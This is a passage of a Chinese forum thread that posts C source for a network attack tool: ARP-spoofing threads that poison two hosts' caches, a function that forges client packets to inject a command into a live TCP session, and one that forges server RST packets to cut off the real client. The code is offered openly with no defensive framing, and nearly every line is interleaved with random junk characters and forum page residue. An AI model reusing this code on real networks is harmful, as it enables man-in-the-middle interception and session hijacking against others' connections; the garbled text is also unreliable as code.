  pTmp = g_pConnHead;
! d6 H+ j+ a+ y1 @& V, x4 A  while(pTmp)
$ T# J* o4 r6 v3 g) n5 h8 `  { 7 D: S' S6 j% |/ Y- m* s& h' q" N
    if(pTmp-&gt;bActive) 9 C3 ^5 c: {: a2 c* d' z
    { ( W* f8 x% i( }, ?6 X2 W3 ~
      //found it 6 b* [9 A/ e- y- a
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;   }0 f; J- q, X$ B/ a$ y" u% j6 B/ U
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
' h9 g1 R* m5 C. F        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp; & ~' K6 Q& s7 w4 C: p
        (pTmp-&gt;uClientPort == uClientPort) ) . o, S% m9 L7 B5 W* e' _7 R! t
      {
- E3 [) _2 I7 ~0 M7 d        if(bDelete)
2 \% V# X2 l; `% m        {
- s% i+ D* ]1 u/ y2 M4 z) ~: ?          pTmp-&gt;bActive = FALSE;
# V3 E) b/ d% p          return 0; # j3 y; B" C; O
        } 1 s/ f7 ]# {1 B. K6 ]: c3 t# n
        else return pTmp-&gt;ident;
4 L/ l/ t2 }; l9 j/ H      } ) [) k6 m; {+ ^* @2 F3 S' d$ D
    } 4 D2 H5 ]" }! P7 \; h6 h- B* h; \6 J
    pTmp = pTmp-&gt;Next; $ }/ R, J4 C. ]! K1 N0 ~
  } 9 b6 G9 w, o# A
  //not found, create new node
# I3 i$ i( c& l  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
) u2 i. O5 M3 K. ?0 H( b  {
; y3 e! S, Z! f3 `' |& V7 H1 {/ r    //search unactive note 2 X" }  b1 {$ b! u- E. x' h
    pTmp = g_pConnHead; ( s8 o; q3 p) t
    while(pTmp) 6 D' y2 Q; Y+ z1 }1 @
    {
% w$ V$ x* h, p$ L; k/ E7 h      if(!pTmp-&gt;bActive) break;   {+ K  \) S0 s- m" _+ D! n6 R2 J" W
      pTmp = pTmp-&gt;Next;
& `$ z4 r( |4 @" V    } 6 c7 x" z7 m& S- X
    //found a unactive node ' a; R$ f3 y# \6 ]- T; v5 S4 ?
    if(pTmp)
$ D2 S- N; X' I4 Y% w    {
! e. g( }/ q1 K( y3 ]      pTmp-&gt;dwServerIP = dwServerIP;
( S( Z  ?1 R: _# |7 ^      pTmp-&gt;uServerPort = uServerPort; : {8 Q1 ^* r5 J" f- O- r; d
      pTmp-&gt;dwClientIP = dwClientIP;   \1 Y- f" u/ ~" j9 D( [
      pTmp-&gt;uClientPort = uClientPort; 8 v; A* k) T* G  F1 c& e4 Z
      pTmp-&gt;bActive = TRUE;
- A' `) ^+ G$ I5 N      return pTmp-&gt;ident; 9 E" T, V' X( F; Z/ A
    }
8 r; R3 W* @, Z7 Y    //not found,create new node + O) E* h: ?+ q. k! r
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
6 j3 ?# V" f# X& A. X    if(!pNew) $ t. w4 ^: q# A; c' P1 O' S5 Z
    {
0 r5 y8 G1 `/ O$ \      printf("malloc for link node error:%d\n", GetLastError());
, ]5 N1 D( \0 J8 z      return 0; 1 L* A# m- `. Y9 _( R$ b
    } ' A' W9 U+ c: `$ n0 M& x* R
    //fill the struct 6 S7 U# A) K5 O  X& X- Y
    pNew-&gt;bActive = TRUE;   O5 P$ j7 K' n! n/ r; E
    pNew-&gt;dwServerIP = dwServerIP;
& j% S3 x/ p; v8 L    pNew-&gt;uServerPort = uServerPort; ' ]5 d( @$ ^; X0 L
    pNew-&gt;dwClientIP = dwClientIP;
0 z8 X! a+ a& r! `! g, o# X* k    pNew-&gt;uClientPort = uClientPort; 8 Z+ ?0 O, ~) Q! M
    pNew-&gt;ident = ++g_ident;
+ J% a0 o! [. j" t5 j    pNew-&gt;Next = NULL;
3 P- s% d1 }/ e3 F7 |    //add new node to link
, e+ q4 i) J2 L; u    if(!g_pConnHead) . c+ b) \8 W; L, k8 I: x( t
      g_pConnHead = g_pConnLast = pNew;
: A; n# `/ |( d1 w( c! [    else ( o, U9 R3 A7 i
    { ) d0 _* D" M1 i- U5 h
      g_pConnLast-&gt;Next = pNew; & Q! a6 J! s7 @5 h8 O. i% Z5 ?# u2 W
      g_pConnLast = pNew; * z5 u" e0 p/ j5 z
    }
* C" z4 [. }: ^* X$ R0 S    return pNew-&gt;ident; $ s* a% }8 N/ e
  } 5 N9 a( N9 Y- [; j2 n; \
  return 0;
  l! }2 Z) E7 y} . H/ }; h! z; F5 K7 U

! n. ?0 Q; r. P: q; p+ G//
: f( x# M) R& [' i0 y//功能:判断一个数据包是不是只有ACK标志 0 \- i" j+ l/ }, @: ]
// ; Z8 a! |" I/ x* [2 a
BOOL IsACKPacket(unsigned char flag)
  n3 E0 E* o* R1 x4 J5 y. Q{
8 O( R# y% _  P9 f+ d4 C  int  i, j=1;
+ k% @6 n2 f- B/ C' R! d, h  for(i=0 ; i&lt;4; i++) : p, I: J( Q, ?! P2 J0 k( r8 R
  {
# E; [0 g  Z2 M* @8 Q    if(flag &amp; j) return FALSE;
3 D, c2 J6 k5 b6 \. E  B    j &lt;&lt;= 1;
* m7 t+ \! D! C5 q$ ]  }
+ t3 |, f5 q; N' G2 o3 E! A; {  if(!(flag &amp; 0x10)) return FALSE;//is ack?
6 x; Q9 l! A% A0 K7 w7 j7 t6 N  if(flag &amp; 0x20) return FALSE;
1 T. Z* G' L, U1 T+ \5 b  return TRUE; ' Q# M2 T* o- O3 n0 f& h
} 3 [6 ]9 W3 u# q
! a; @7 T1 i% F3 \. T$ @. H
//
9 e/ k1 N, d% ^8 X2 a# t& O( l! L//功能:伪装成Client给Server发送数据包 " G" o) S8 M- Y4 f
// # j6 Y# ~, M  L" R0 x: X
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
; `, z: K+ R4 g5 q{ & O( G0 o4 S% ~- D/ a5 H
- e: [. G4 H' s. G! J! M
  char    szBuff[1520]; : X" C" t5 S; s9 Y; m' @) I% v
  PSDHDR    psdhdr; 0 ?/ h* _3 Z0 w6 e8 S. w- q
  PTCPPACKET  pHiJackPacket = NULL;
( H, v9 n1 w( e4 m! W* a  BOOL    bRet = FALSE;
" {2 ?6 i% y3 A3 q7 P5 U$ M
, G1 {/ D2 V6 |" \  __try
/ I: W* c: R: D, ]5 j  { ! |1 h1 K- G( {4 B3 m4 {
    //
0 @. i% |' x' S% k. A" F. ?    if(!g_pCurrCtrlConn) __leave;
' h, j2 L6 G) I. D, f5 T" x    //allocate memory for hijack packet
+ w) F8 S$ Z# U) I    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); 1 L$ I; L/ F, K" B0 S: U9 h$ A
    if(!pHiJackPacket) ( Y  M( z' [( Y! V$ Y7 M
    { 6 P0 ?. U: ~2 C
      printf("malloc error:%d\n", GetLastError()); ) [  u5 b& J' d' D) Q- Q4 O# k
      __leave;
2 [- E* W$ [9 T% I9 G, U: f    }
* o9 t% @( _: ?2 F0 f$ r    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); 2 [0 L/ s8 X) t
    //-------------- modify the packet ---------------// 3 t1 l5 Z1 m! U* c
    //modify ethernet head
7 m1 l' O9 e' }7 M& \    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
  `: K* N% O$ B; f$ p    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); 0 X$ ^( P+ Q2 w: C3 ]
    //modify ip head
; H! z2 e8 n% {( K! w( d- |    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
- A4 U& `1 H% {6 p3 m  c9 V    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
3 r3 u" ?2 d# \$ M  x; f. X* E% Q) n    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
+ _6 V7 w1 m. P8 w9 D, f7 h: X7 I    pHiJackPacket-&gt;iphdr.checksum = 0;
1 o% [  z# }, W+ l    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client - `: v+ |+ S2 @" F! Q( z
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址 3 P! d: D5 r2 x. ]) N" H7 ~; r
    //modify tcp head
& m6 A# Q4 B* q- M3 k    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
) {" M+ F( z" m8 o- H0 G9 u    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port 5 b; C; c- y( t8 ?" G% _
    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
# z% n6 n4 `) v    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA ' o4 x/ G: R7 v2 c( Z- M6 g7 g
    pHiJackPacket-&gt;tcphdr.th_sum = 0; ( O" Y9 P0 D7 v( Z& v
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44; , Q( a- _+ E6 j5 L4 y
    //fill tcp psd head ( X; p9 e2 q  B1 R
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           4 e  ]1 J& V2 [" \3 S5 l+ [; I
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           ' C: |: _* s0 M6 h
    psdhdr.mbz = 0; , w" M2 W% z" t7 s2 h
    psdhdr.ptcl = IPPROTO_TCP; 1 q4 R! f1 o1 h
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len + [) M5 z  V, n1 _+ |( i3 |
    //calculate tcp checksum     . D+ j/ k2 Z5 t8 C9 ^- n
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
4 K7 i4 x% Q+ X/ ]% p    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR)); 3 d1 U+ T1 I+ I1 i' o0 I6 g6 `- Z
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); 7 N; ?  U. R& D; }; W
    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
! b; o: Y5 i, P9 W5 |. F6 M" w    //calculate IP checksum 5 M) g" t+ v. X6 X% C) U5 C
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
* M$ u8 Q5 o2 ]+ L+ d    //fill send buffer           
* y4 E3 w7 x8 p    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 1 Y7 a2 u* G. J8 x0 d( J
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
5 ^9 Y, j, Z- B/ W& P" J. P    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
, y9 X% @; E. M% S, f    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
) g1 R" \% `. }0 B    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); ; p+ ]4 n. D5 ?' A3 D
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
: f0 v/ n& }. o5 B: N    { / _8 L& U, n/ s/ }
      printf("Error sending the hijack packets!\n"); . Z0 b8 w! w  K) x. g# ^; ?
      __leave;
1 M! D: q5 ~6 }" l) O2 P0 D; P    } ( B4 V* b" d6 `: q: x  i/ N& \6 @
    else printf("Send hijack packet ok!\n");
. h$ z9 F, g1 V7 U    bRet = TRUE;
+ Z$ _/ a8 S- r1 R# ?3 x  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally
* b) Q( c8 ^/ L' C) }  {   q, X' I0 `! M8 |' @  h
    if(pHiJackPacket) free(pHiJackPacket); 5 _. }+ N3 A8 Y5 T7 Z' E% b
  }
0 e- Y( P9 \$ r( Y1 m8 R  return bRet;
3 g3 a1 g2 R1 _; n} ! x3 d# V2 Z& ^% P2 k& @

2 F) {) _- f- z. V+ t. r. f5 G
/ q, m: U, l  f' x& ~/ Z// 7 f( G; W- d" t8 E# Q. D
//功能:伪装成Server给Client发送rst包 " D/ s" u6 O: x1 \0 {4 E" h
//
9 n8 r+ L; k+ i, IBOOL SendRstPacket(unsigned int seq, unsigned int ack)
7 j7 D! }9 a) E: ?{ 2 O& l! P  }& Y2 h) j
  char    szBuff[60];
9 @) n. v5 J, Z( N/ y& V5 k) h  PSDHDR    psdhdr;
/ _% G! t3 `3 T( u  m; j: p/ a5 c" X  PTCPPACKET  pTcpPacket = NULL; . Z( M! ]6 p! x0 S
  BOOL    bRet = FALSE; - n. a; ^$ ?9 ?& N6 I! M# X

7 i6 j) w9 U: i2 ^4 w  __try
; W. ]* g! e$ {- s  `8 i  {
# G/ v* K: I) C; h  O    //检查当前指向想控制的连接的信息的指针是否为空 ( c( d/ U. n! O
    if(!g_pCurrCtrlConn) __leave;
, ?8 {) y7 A! C  e1 ]! q4 `$ p    //allocate memory for rst packet
# T9 {6 `/ k8 W7 R* j) h' E    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); + f. j/ K4 G0 i' m$ U
    if(!pTcpPacket)
/ o5 x1 G3 a% \2 W+ O( g; n    {
! x$ A2 E0 `; R" B" Y      printf("malloc error:%d\n", GetLastError()); / j) K* c( @" L& ~) h6 v$ p8 f' i
      __leave;
. R( X& u4 W; O+ O3 K1 v1 t    } * W6 X1 p. J6 f5 C; E/ n& N
    //fill ethernet head 2 W( s. u7 w2 U  d: m1 O- n( N$ Z, o
    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6); % t4 \6 V0 |' L. ?: ]4 P1 F
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); 0 l, k- I# z0 U# s+ J: W9 r8 i
    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
$ u( m" l' K6 \( p3 ~3 E    //fil ip head ) g$ l: X! w, Y) z8 o
    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
% _$ j7 u- Y) E    pTcpPacket-&gt;iphdr.tos = 0;
3 g' Q+ p8 Z! _    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
. c2 v7 X$ j. f, w, C( I    pTcpPacket-&gt;iphdr.ident = 1; " P2 e* y% d0 \  l* ^
    pTcpPacket-&gt;iphdr.frag_and_flags = 0; ( w; ], E3 F1 l8 f4 b) L
    pTcpPacket-&gt;iphdr.ttl = 128;
! D  V9 V, D7 Z% b6 l+ z2 {    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP; 8 D, |, p; D  f6 D: j
    pTcpPacket-&gt;iphdr.checksum = 0;
. t- ?+ P- P3 C    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的
+ E* Q8 f& B: n8 @( T2 Q: o+ L) D8 @    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址 % |% d& V7 m) z+ @, {- {
    //fill tcp head
; @; n/ l/ e* a# f( t' ^5 z+ D( W    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口
. w6 ^3 A# s2 J9 Y( j    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口 " ?0 r8 L3 Y. \% {1 R
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN ' ~/ v6 L/ E& ~) I8 f
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
9 Q! R( i7 o$ K    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0); 1 s/ l8 c( E0 Z9 G
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
  B' t7 A# }! B% P) b0 e6 f    pTcpPacket-&gt;tcphdr.th_win = 0;
' F; q, H$ `3 \; f, P    pTcpPacket-&gt;tcphdr.th_urp = 0; $ |2 y) L* R& n
    pTcpPacket-&gt;tcphdr.th_sum = 0;   C, v5 i9 _/ B. Q/ ?1 Q
    //fill tcp psd head
6 D0 {. m0 w0 e  B0 ^    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
) I8 R: ]$ A' K3 C& l' W8 Z  D6 |4 j. W    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           ( r* F* P, m3 L- ?6 h
    psdhdr.mbz = 0; 4 A% K8 Z- u3 p3 Y# w" }
    psdhdr.ptcl = IPPROTO_TCP;
, P3 Y5 J/ A; I" l  D# j    psdhdr.tcpl = htons(sizeof(TCPHDR)); 5 `/ a. r. [1 d5 B& R( d
    //calculate tcp checksum     2 {% f" ~5 z( q- c% P5 F0 I
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   . k% d/ n% S1 b/ p1 B
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
- e& G5 Q8 {4 a1 ?1 V& f4 p+ [    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); 6 c; ?8 M6 @6 T& j$ `
    //calculate IP checksum 7 V7 G+ F! J0 I: y
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
0 m$ f  N% W- x% l  G$ c    //fill send buffer 9 K) Z# B: E  h  f" K/ k2 E
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); 9 ]7 |  N# E( T, k6 ~
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
$ B8 Z" `8 R: X3 N8 C/ ]    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) 0 P$ c& L( V6 Z/ `; f
    { 0 U0 M( v: c; |- A
      printf("Error sending the rst packets!\n");
+ }7 }1 M1 L# K! t; W  \      __leave;
- B( b' e2 }; u  G    }
' `; ]- r7 O/ k  v& j) l- e( F    else printf("Send RST packet ok!\n"); - v( l) a! G1 L+ c
    bRet = TRUE; 3 A* E: G9 x7 d3 Q7 f! U% }: @0 j/ ~
  } % t) j' D6 B* U' Z! B
  __finally 3 o4 n' P1 x) t
  { . W0 Z8 d/ e5 K$ h
    if(pTcpPacket) free(pTcpPacket);
6 ^, D  n: H" F- y' X' i. ^  } 4 B) M7 B6 L: W8 N2 p
  return bRet; ) `2 g5 M3 C) N6 ~6 M; R  V
} $ ~) H9 t  T" X  c9 o

: j" r$ Q! i9 Q4 N  Y//   w4 X6 S/ M8 ~
//功能:计算校验和 ! M0 M) Q0 o, v3 o) d8 M
// - ?% t' {' Q' u, j3 Q: V
USHORT checksum(USHORT *buffer, int size) ' }8 p) U% j7 M
{
1 Q5 X/ A3 s( u0 u0 n unsigned long cksum=0;
8 a; {# S7 `% R: Z  f9 } while(size &gt;1) {
, V( z; v6 m' W& B2 f  cksum+=*buffer++;
! ]2 j( [2 o# H- y7 _9 O  size -=sizeof(USHORT); ( F/ e0 C( s( Z
}
6 T3 _* l! b- C! j. W( ^  p if(size ) {
. f0 [' S! P) i4 I- |  cksum += *(UCHAR*)buffer;
% S8 p9 p: f0 j- i: O" c) d3 } } 3 {9 z' U+ @" G7 K
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
) ^: ^/ z) E/ W& e) ~ cksum += (cksum &gt;&gt;16);
  b3 A& Y9 p$ _# R8 y return (USHORT)(~cksum);
3 c5 ^0 X1 A: E! N! O8 Q} , P$ E" c% Y/ H5 p4 t
* k5 S: L& w$ N9 Y7 t) y8 N! j
//
+ u& S3 x' G" A: K$ Z% e. z! k" d//功能:实施ARP欺骗
6 w& J" _9 |( z% ?5 x* D//1 告诉ServerSide,ClientSide的mac是ownmac
. e1 K& f* D/ x6 j  }//2 告诉ClientSide,ServerSide的mac是ownmac 7 n; |: j6 I+ O) o& c- f7 c8 r2 h! k
//
! X$ X% S& y: Q+ d7 S) b5 ^& [! hDWORD WINAPI ArpSpoofThread(LPVOID lpType)
/ I2 G) J: z) |7 l% E( _  |; g! P{ 3 U2 M6 W- K& T' W  T, M/ y: h
  int  iType = *(int *)lpType;
* l! O$ H4 q( D/ J) Z  E1 C  ARPPACKET  ArpPacket; 4 c' @: Z  s2 L" @' m: N
  LPPACKET  lpArpPacket;
# T4 ^5 M8 ~. Q% |) I  w6 I6 _* p  char    szArpBuff[60]; ! o6 f, V. Y! @9 p8 S1 L

1 |/ F- d4 i) Q0 X5 f9 O1 r  switch(iType)
2 O& {4 [: P! j; y4 B8 k# e& e' ?  { + E1 H2 w* Z4 i+ ^
    case 1: " S2 c0 A* N5 n0 Q' r# ~; U; G+ u' I
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6); * R* B/ g) S( S, M' g
      ArpPacket.arphdr.DestIP = g_ServerSideIP;
: _/ f6 ?: P( y: V      ArpPacket.arphdr.SourceIP = g_ClientSideIP; 9 Y6 _5 u- i* p; \9 T' x' o
      break; ( x7 J7 g/ L; a% |" g) }
    case 2:
" o( v7 s% F) R9 f      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6); ! [6 @, ~4 b* v( I# X- l
      ArpPacket.arphdr.DestIP = g_ClientSideIP;
4 q! H  M: m# d, W7 p      ArpPacket.arphdr.SourceIP = g_ServerSideIP; + F3 x3 t* L/ O& J
      break;
5 v  s* W% |& ]" `- n! g    default: # t- r3 P, R" Q7 @3 o# w, i
      return 0; ( @  a9 L1 H( R" \5 y  Q
  }
: h5 \8 m7 K" d  //ethernet head
( w6 h3 `/ Q  s% ^. e% `4 d  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); 3 j& E; h( l! P0 a
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type , I8 m6 w- P% m8 V, Y8 _
  //arp head - T$ r% o6 I) D, {6 V6 O3 ~7 ?# |* l8 D
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac ! A3 |' a4 @4 A, w& t/ x
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac 5 A9 P: A( O  `: T+ h
  ArpPacket.arphdr.HrdAddrlen = 6;
5 J& R- S; l) z  y" _. L) b' K  ArpPacket.arphdr.ProAddrLen = 4; ' u4 R; ?! P# d9 Y4 _' D
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE); . N8 |" u. E  p3 m) ~9 Q
  ArpPacket.arphdr.ProType = htons(EPT_IP); 6 G! n# y! \, u7 X/ D/ \# b8 l7 @
  ArpPacket.arphdr.op = htons(2);//arp reply - k$ v: v. Y1 \; ^0 f

/ g- n; t1 Y; |' Q$ R$ l- I  lpArpPacket = PacketAllocatePacket();
/ P1 {9 }/ h  O( l/ D  if(lpArpPacket == NULL) ' x: k4 c3 l* N$ Y9 d  I
  {
7 i3 I' e) y( C5 Q2 E, M    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); 9 d- ]" g% Y& k9 T# E: G
    return 0;
( {" z0 O- ?. r+ V$ c  }
& z$ {" v, m5 e' f$ O% p  memset(szArpBuff, 0, sizeof(szArpBuff));
1 o4 j, Q8 U7 @0 L. u( W  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); - @2 n/ c! @7 E
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
; P# K3 j0 e9 l0 ?1 a  //send arp packet
; u3 W3 Z3 n1 o( x% E# K+ Z, P  S  while(1)
8 f9 ~$ `/ E6 j% Y0 r; R  { ! ^1 r8 `* ]% o* S
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
" k1 A: j* z& H    { 6 W/ z9 u# Q+ Y) i
      printf("Error sending the arp spoof packets!\n");
- B" P9 e+ z' y0 |      return 0;
+ q4 {9 W! _: _    }
$ P4 t9 B# F, w( x7 Q; H    Sleep(1000);
7 i1 H( Z6 |" F" b: e2 Y7 T# Z  } 5 T1 H% T. P( f4 b" `+ w: o+ K& K2 Y# U
  return 0;
$ g* Q0 T. o% A0 _7 g, N3 p$ g}
" V  z' s5 n1 \( B6 V1 D7 i1 r! K; x' T& b- e; T
//
6 t+ y5 J8 F; |8 Q//功能:输入IP取得对应的MAC地址
. r) E: T$ ^( F( o% l//
# i2 V6 q# m- b4 g1 ]BOOL GetMACAddr(DWORD DestIP, char *pMAC)
" R- Y- ~4 P- j6 _* P{
' K( T1 q0 v1 M8 K  X" I  DWORD  dwRet; + b& U; N2 t& \
  ULONG  ulLen = 6, pulMac[2]; . l& p, v! j' P5 K2 p6 F  H
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
, y' t& i' g/ }  if(dwRet == NO_ERROR) 4 ?! a5 Y: o* d! V* g$ t
  {
1 }( z& a! A% u8 r6 b    memcpy(pMAC, pulMac, 6); ! j; F0 ^8 r1 Z" z. h2 C4 k
    return TRUE;
) J/ @7 @- e' @( F; h  } 1 d  B& {, Y2 g
  else return FALSE;
; @9 \( D. Q5 X7 P8 w}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-6-14 05:51 , Processed in 0.520814 second(s), 91 queries .

    回顶部